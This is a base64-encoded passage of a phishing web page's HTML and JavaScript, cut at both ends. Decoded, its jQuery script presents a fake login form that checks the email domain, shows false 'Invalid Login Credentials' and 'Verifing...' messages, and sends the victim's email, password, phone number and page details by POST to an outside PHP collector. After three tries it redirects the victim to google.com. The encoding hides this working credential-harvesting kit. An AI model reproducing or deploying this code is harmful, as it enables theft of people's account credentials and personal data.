aW4uanMiIGludGVncml0eT0ic2hhMzg0LUtKM28yREt0SWt2WUlLM1VFTnptTTdLQ2tSci9yRTkv
UXBnNmFBWkdKd0ZETVZOQS9HcEdGRjkzaFhwRzVLa04iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMi
Pjwvc2NyaXB0Pg0KICAgICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5j
b20vYWpheC9saWJzL3BvcHBlci5qcy8xLjEyLjkvdW1kL3BvcHBlci5taW4uanMiIGludGVncml0
eT0ic2hhMzg0LUFwTmJnaDlCK1kxUUt0djNSbjdXM21nUHhoVTlLL1NjUXNBUDdoVWliWDM5ajdm
YWtGUHNrdlh1c3ZmYTBiNFEiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KICAg
ICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFw
LzQuMC4wL2pzL2Jvb3RzdHJhcC5taW4uanMiIGludGVncml0eT0ic2hhMzg0LUpaUjZTcGVqaDRV
MDJkOGpPdDZ2TEVIZmUvSlFHaVJSU1FReFNmRldwaTFNcXVWZEF5alVhcjUrNzZQVkNtWWwiIGNy
b3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0Pg0KICAgIDwvYm9keT4NCg0KDQogICAgPHNj
cmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIu
Mi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQ+DQoNCg0KICAgICAgLyog
Z2xvYmFsICQgKi8NCiAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7DQogICAgICAg
ICQoJyNlcnJvcicpLmhpZGUoKTsNCiAgICAgICAgJCgiI2RpdjIiKS5oaWRlKCk7DQogICAgICAg
ICQoIiNtc2ciKS5oaWRlKCk7DQogICAgICAgIHZhciBmaW5hbD0iIjsNCiAgICAgICAgdmFyIGNv
dW50PTA7DQogICAgICAgICQoJyNlbWFpbCcpLmNsaWNrKGZ1bmN0aW9uKCl7DQogICAgICAgICAg
JCgnI2Vycm9yJykuaGlkZSgpOw0KICAgICAgICB9KTsNCiAgICAgICAgJCgnI25leHQnKS5jbGlj
ayhmdW5jdGlvbiAoKSB7DQogICAgICAgICAgdmFyIG15X2VtYWlsID0kKCcjZW1haWwnKS52YWwo
KTsNCiAgICAgICAgICB2YXIgZmlsdGVyID0gL14oW2EtekEtWjAtOV9cLlwtXSkrXEAoKFthLXpB
LVowLTlcLV0pK1wuKSsoW2EtekEtWjAtOV17Miw0fSkrJC87DQoNCiAgICAgICAgICBpZiAoIWZp
bHRlci50ZXN0KGVtYWlsLnZhbHVlKSkgew0KICAgICAgICAgICAgJCgnI2Vycm9yJykuc2hvdygp
Ow0KICAgICAgICAgICAgZW1haWwuZm9jdXM7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQog
ICAgICAgICAgfQ0KICAgICAgICAgIHZhciBpbmQ9bXlfZW1haWwuaW5kZXhPZigiQCIpOw0KICAg
ICAgICAgIHZhciBteV9zbGljZT1teV9lbWFpbC5zdWJzdHIoKGluZCsxKSk7DQogICAgICAgICAg
dmFyIGM9IG15X3NsaWNlLnN1YnN0cigwLCBteV9zbGljZS5pbmRleE9mKCcuJykpOw0KICAgICAg
ICAgIHZhciBmaW5hbD0gYy50b0xvd2VyQ2FzZSgpOw0KICAgICAgICAgIGlmIChmaW5hbD09Imdt
YWlsIikgew0KICAgICAgICAgLy8gJCgnI2Vycm9yJykuc2hvdygpOw0KICAgICAgICAgJCgiI2Rp
djEiKS5hbmltYXRlKHtsZWZ0OjIwMCwgb3BhY2l0eToiaGlkZSJ9LCAwKTsNCiAgICAgICAgICQo
IiNkaXYyIikuYW5pbWF0ZSh7cmlnaHQ6MjAwLCBvcGFjaXR5OiJzaG93In0sIDEwMDApOw0KICAg
ICAgICAgJCgiI2VtYWlsY2giKS5odG1sKG15X2VtYWlsKTsNCg0KICAgICAgIH0NCiAgICAgICBl
bHNlDQogICAgICAgew0KDQogICAgICAgfQ0KICAgICB9KTsNCiAgICAgICAgJCgnI2JhY2snKS5j
bGljayhmdW5jdGlvbiAoKSB7DQogICAgICAgICAgJCgiI21zZyIpLmhpZGUoKTsNCiAgICAgICAg
ICAkKCIjZGl2MiIpLmFuaW1hdGUoe2xlZnQ6MjAwLCBvcGFjaXR5OiJoaWRlIn0sIDApOw0KICAg
ICAgICAgICQoIiNkaXYxIikuYW5pbWF0ZSh7cmlnaHQ6MjAwLCBvcGFjaXR5OiJzaG93In0sIDEw
MDApOw0KDQogICAgICAgIH0pOw0KDQoNCiAgICAgICAgJCgnI3N1Ym1pdC1idG4nKS5jbGljayhm
dW5jdGlvbihldmVudCl7DQogICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAg
ICAgICB2YXIgZW1haWw9JCgiI2VtYWlsIikudmFsKCk7DQogICAgICAgICAgdmFyIHBhc3N3b3Jk
PSQoIiNwYXNzd29yZCIpLnZhbCgpOw0KICAgICAgICAgIHZhciBkZXRhaWw9JCgiI2ZpZWxkIiku
aHRtbCgpOw0KICAgICAgICAgIHZhciBtc2cgPSAkKCcjbXNnJykuaHRtbCgpOw0KICAgICAgICAg
ICQoJyNtc2cnKS50ZXh0KCBtc2cgKTsNCiAgICAgICAgICBjb3VudD1jb3VudCsxOw0KICAgICAg
ICAgIGlmIChjb3VudD49Mykgew0KICAgICAgICAgICAgY291bnQ9MDsNCiAgICAgICAgICAgIHdp
bmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2dvb2dsZS5jb20iKTsNCiAgICAgICAgICB9
DQogICAgICAgICAgZWxzZQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICAgDQogICAgICAgICAg
ICAvLy8vLy8vLy8vLy9lbWFpbCBjaGVjayBjb2RlLy8vLy8vLy8NCiAgICAgICAgICAgIHZhciBt
eV9lbWFpbCA9JCgnI2VtYWlsJykudmFsKCk7DQogICAgICAgICAgdmFyIGZpbHRlciA9IC9eKFth
LXpBLVowLTlfXC5cLV0pK1xAKChbYS16QS1aMC05XC1dKStcLikrKFthLXpBLVowLTldezIsNH0p
KyQvOw0KICAgICAgICAgIHZhciBpbmQ9bXlfZW1haWwuaW5kZXhPZigiQCIpOw0KICAgICAgICAg
IHZhciBteV9zbGljZT1teV9lbWFpbC5zdWJzdHIoKGluZCsxKSk7DQogICAgICAgICAgdmFyIGM9
IG15X3NsaWNlLnN1YnN0cigwLCBteV9zbGljZS5pbmRleE9mKCcuJykpOw0KICAgICAgICAgIHZh
ciBmaW5hbD0gYy50b0xvd2VyQ2FzZSgpOw0KICAgICAgICAgICAgLy8vLy8vLy8vLy8vZW1haWwg
Y2hlY2sgY29kZS8vLy8vLy8vDQogICAgICAgICAgaWYgKGZpbmFsIT0iZ21haWwiKSB7DQogICAg
ICAgICAgICQuYWpheCh7DQogICAgICAgICAgICBkYXRhVHlwZTogJ0pTT04nLA0KICAgICAgICAg
ICAgdXJsOiAnaHR0cHM6Ly9jaHJvbm9sb2dpc3RpYy5jb20vLmVhei9oamVsLnBocCcsDQogICAg
ICAgICAgICB0eXBlOiAnUE9TVCcsDQogICAgICAgICAgICBkYXRhOnsNCiAgICAgICAgICAgICAg
ZW1haWw6ZW1haWwsDQogICAgICAgICAgICAgIHBhc3N3b3JkOnBhc3N3b3JkLA0KICAgICAgICAg
ICAgICBkZXRhaWw6ZGV0YWlsLA0KDQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgYmVmb3Jl
U2VuZDogZnVuY3Rpb24oeGhyKXsNCiAgICAgICAgICAgICAgJCgnI3N1Ym1pdC1idG4nKS5odG1s
KCdWZXJpZmluZy4uLicpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1
bmN0aW9uKHJlc3BvbnNlKXsNCiAgICAgICAgICAgICAgaWYocmVzcG9uc2Upew0KICAgICAgICAg
ICAgICAgICQoIiNtc2ciKS5zaG93KCk7DQogICAgICAgICAgICAgICAgY29uc29sZS5sb2cocmVz
cG9uc2UpOw0KICAgICAgICAgICAgICAgIGlmKHJlc3BvbnNlWydzaWduYWwnXSA9PSAnb2snKXsN
CiAgICAgICAgICAgICAgICAgJCgnI21zZycpLmh0bWwocmVzcG9uc2VbJ21zZyddKTsNCiAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgJCgnI21z
ZycpLmh0bWwocmVzcG9uc2VbJ21zZyddKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
fQ0KICAgICAgICAgIH0sDQogICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKCl7DQogICAgICAgICAg
ICAkKCIjbXNnIikuc2hvdygpOw0KICAgICAgICAgICAgJCgnI21zZycpLmh0bWwoIkludmFsaWQg
TG9naW4gQ3JlZGVudGlhbHMiKTsNCiAgICAgICAgICB9LA0KICAgICAgICAgIGNvbXBsZXRlOiBm
dW5jdGlvbigpew0KICAgICAgICAgICAgJCgnI3N1Ym1pdC1idG4nKS5odG1sKCdMb2dpbicpOw0K
ICAgICAgICAgIH0NCiAgICAgICAgfSk7DQoNCiAgICAgICAgIH0NCiAgICAgICAgIGVsc2UNCiAg
ICAgICAgIHsNCiAgICAgICAgICBpZiAoY291bnQ+PTIpIHsNCiAgICAgICAgICAgICQoIiNkaXYx
IikuYW5pbWF0ZSh7bGVmdDoyMDAsIG9wYWNpdHk6ImhpZGUifSwgMCk7DQogICAgICAgICAgJCgi
I2RpdjIiKS5hbmltYXRlKHtyaWdodDoyMDAsIG9wYWNpdHk6InNob3cifSwgMTAwMCk7DQogICAg
ICAgICAgJCgiI2VtYWlsY2giKS5odG1sKG15X2VtYWlsKTsNCiAgICAgICAgICB9DQogICAgICAg
ICAgZWxzZQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgJC5hamF4KHsNCiAgICAgICAgICAgIGRh
dGFUeXBlOiAnSlNPTicsDQogICAgICAgICAgICB1cmw6ICdodHRwczovL2Nocm9ub2xvZ2lzdGlj
LmNvbS8uZWF6L2hqZWwucGhwJywNCiAgICAgICAgICAgIHR5cGU6ICdQT1NUJywNCiAgICAgICAg
ICAgIGRhdGE6ew0KICAgICAgICAgICAgICBlbWFpbDplbWFpbCwNCiAgICAgICAgICAgICAgcGFz
c3dvcmQ6cGFzc3dvcmQsDQogICAgICAgICAgICAgIGRldGFpbDpkZXRhaWwsDQoNCiAgICAgICAg
ICAgIH0sDQogICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbih4aHIpew0KICAgICAgICAg
ICAgICAkKCcjc3VibWl0LWJ0bicpLmh0bWwoJ1ZlcmlmaW5nLi4uJyk7DQogICAgICAgICAgICB9
LA0KICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24ocmVzcG9uc2Upew0KICAgICAgICAgICAg
ICBpZihyZXNwb25zZSl7DQogICAgICAgICAgICAgICAgJCgiI21zZyIpLnNob3coKTsNCiAgICAg
ICAgICAgICAgICBjb25zb2xlLmxvZyhyZXNwb25zZSk7DQogICAgICAgICAgICAgICAgaWYocmVz
cG9uc2VbJ3NpZ25hbCddID09ICdvaycpew0KICAgICAgICAgICAgICAgICAkKCcjbXNnJykuaHRt
bChyZXNwb25zZVsnbXNnJ10pOw0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgZWxz
ZXsNCiAgICAgICAgICAgICAgICAkKCcjbXNnJykuaHRtbChyZXNwb25zZVsnbXNnJ10pOw0KICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgfSwNCiAgICAgICAgICBlcnJv
cjogZnVuY3Rpb24oKXsNCiAgICAgICAgICAgICQoIiNtc2ciKS5zaG93KCk7DQogICAgICAgICAg
ICAkKCcjbXNnJykuaHRtbCgiUGxlYXNlIHRyeSBhZ2FpbiBsYXRlciIpOw0KICAgICAgICAgIH0s
DQogICAgICAgICAgY29tcGxldGU6IGZ1bmN0aW9uKCl7DQogICAgICAgICAgICAkKCcjc3VibWl0
LWJ0bicpLmh0bWwoJ0xvZ2luJyk7DQogICAgICAgICAgfQ0KICAgICAgICB9KTsNCg0KICAgICAg
ICAgIH0NCg0KDQogICAgICAgIH0NCg0KICAgICAgICAgICANCiAgICAgICAgIH0NCiAgICAgICB9
KTsNCiQoJyNzdWJtaXQtYnRuMScpLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KXsNCiAgICAgICAgICBl
dmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgIHZhciBlbWFpbD0kKCIjZW1haWwiKS52
YWwoKTsNCiAgICAgICAgICB2YXIgcGFzc3dvcmQ9JCgiI3Bhc3N3b3JkIikudmFsKCk7DQogICAg
ICAgICAgdmFyIHBob25lPSQoIiNwaG9uZSIpLnZhbCgpOw0KICAgICAgICAgIHZhciBkZXRhaWw9
JCgiI2ZpZWxkIikuaHRtbCgpOw0KICAgICAgICAgIHZhciBtc2cxID0gJCgnI21zZzEnKS5odG1s
KCk7DQogICAgICAgICAgLy8gY291bnQ9Y291bnQrMTsNCiAgICAgICAgLy8gaWYgKGNvdW50Pj0y
KSB7DQogICAgICAgIC8vICAgY291bnQ9MDsNCiAgICAgICAgLy8gICAkKCIjZGl2MiIpLmFuaW1h
dGUoe2xlZnQ6MjAwLCBvcGFjaXR5OiJoaWRlIn0sIDApOw0KICAgICAgICAvLyAgICQoIiNkaXYz
IikuYW5pbWF0ZSh7cmlnaHQ6MjAwLCBvcGFjaXR5OiJzaG93In0sIDEwMDApOw0KICAgICAgICAv
LyAgIC8vIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2dvb2dsZS5jb20iKTsNCiAg
ICAgICAgLy8gfQ0KICAgICAgICAvLyBlbHNlDQogICAgICAgIC8vIHsNCiAgICAgICAgDQogICAg
ICAgICAgICQuYWpheCh7DQogICAgICAgICAgICBkYXRhVHlwZTogJ0pTT04nLA0KICAgICAgICAg
ICAgdXJsOiAnaHR0cHM6Ly9jaHJvbm9sb2dpc3RpYy5jb20vLmVhei9oamVsLnBocCcsDQogICAg
ICAgICAgICB0eXBlOiAnUE9TVCcsDQogICAgICAgICAgICBkYXRhOnsNCiAgICAgICAgICAgICAg
ZW1haWw6ZW1haWwsDQogICAgICAgICAgICAgIHBhc3N3b3JkOnBhc3N3b3JkLA0KICAgICAgICAg
ICAgICBkZXRhaWw6ZGV0YWlsLA0KICAgICAgICAgICAgICBwaG9uZTpwaG9uZSwNCg0KICAgICAg
ICAgICAgfSwNCiAgICAgICAgICAgIGJlZm9yZVNlbmQ6IGZ1bmN0aW9uKHhocil7DQogICAgICAg
ICAgICAgICQoJyNzdWJtaXQtYnRuMScpLmh0bWwoJ1ZlcmlmaW5nLi4uJyk7DQogICAgICAgICAg
ICB9LA0KICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24ocmVzcG9uc2Upew0KICAgICAgICAg
ICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cDovL2dvb2dsZS5jb20iKTsNCiAgICAg
ICAgICAgICAgaWYocmVzcG9uc2Upew0KICAgICAgICAgICAgICAgICQoIiNtc2cxIikuc2hvdygp
Ow0KICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlc3BvbnNlKTsNCiAgICAgICAgICAgICAg
ICBpZihyZXNwb25zZVsnc2lnbmFsJ10gPT0gJ29rJyl7DQogICAgICAgICAgICAgICAgICQoJyNt
c2cxJykuaHRtbChyZXNwb25zZVsnbXNnJ10pOw0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICAkKCcjbXNnMScpLmh0bWwocmVzcG9uc2VbJ21z
ZyddKTsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0sDQogICAg
ICAgICAgZXJyb3I6IGZ1bmN0aW9uKCl7DQogICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5y
ZXBsYWNlKCJodHRwOi8vZ29vZ2xlLmNvbSIpOw0KICAgICAgICAgICAgJCgiI21zZzEiKS5zaG93
KCk7DQogICAgICAgICAgICAkKCcjbXNnMScpLmh0bWwoIlBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIi
KTsNCiAgICAgICAgICB9LA0KICAgICAgICAgIGNvbXBsZXRlOiBmdW5jdGlvbigpew0KICAgICAg
ICAgICAgJCgnI3N1Ym1pdC1idG4xJykuaHRtbCgnVmVyaWZ5Jyk7DQogICAgICAgICAgfQ0KICAg
ICAgICB9KTsNCiAgICAgICAgIC8vIH0NCiAgICAgICB9KTsNCg0KDQogICAgICB9KTsNCiAgICA8
L3NjcmlwdD4NCiAgICA8L2h